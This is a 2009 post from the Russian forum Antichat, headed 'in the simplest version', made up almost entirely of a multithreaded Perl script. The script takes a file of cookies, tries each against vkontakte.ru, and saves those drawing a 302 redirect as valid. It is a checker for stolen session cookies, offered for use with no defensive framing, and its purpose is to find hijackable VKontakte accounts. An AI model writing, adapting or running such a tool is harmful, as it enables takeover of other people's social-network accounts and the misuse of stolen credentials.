
15.06.2009, 20:17
|
|
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
С нами:
9851426
Репутация:
1676
|
|
В самом простом варианте
Код:
use strict;
use warnings;
use IO::Socket;
use threads;
use threads::shared;
my $cfile = './cookie.txt'; #кукисы
my $fgood = './valid.txt'; #валид
my $thrnm = 1; #потоки
open F, "<", $cfile || die $!;
chomp(my @clist : shared = <F>);
close F;
my @trl = ();
for(0..$thrnm-1) {$trl[$_] = threads->create(\&check) }
for(@trl) { $_->join }
sub check
{
while(@clist)
{
my $line;
{lock(@clist); $line = shift @clist;}
my $sock = new IO::Socket::INET
(
PeerAddr => 'vkontakte.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 20
) or warn "Can't connect\n";
my $req = "GET http://vkontakte.ru/ HTTP/1.0\n".
"Host: vkontakte.ru\n".
"Cookie: ".$line."\n\n";
print $sock $req;
read $sock, my $answ, 64;
if($answ =~ /302 Found/)
{
print "[+] ".substr($line, 0, 50)."\n";
open F, ">>", $fgood || die $!;
print F $line;
close F;
}
else
{
print "[-] ".substr($line, 0, 50)."\n";
}
close $sock;
}
}
|
|
|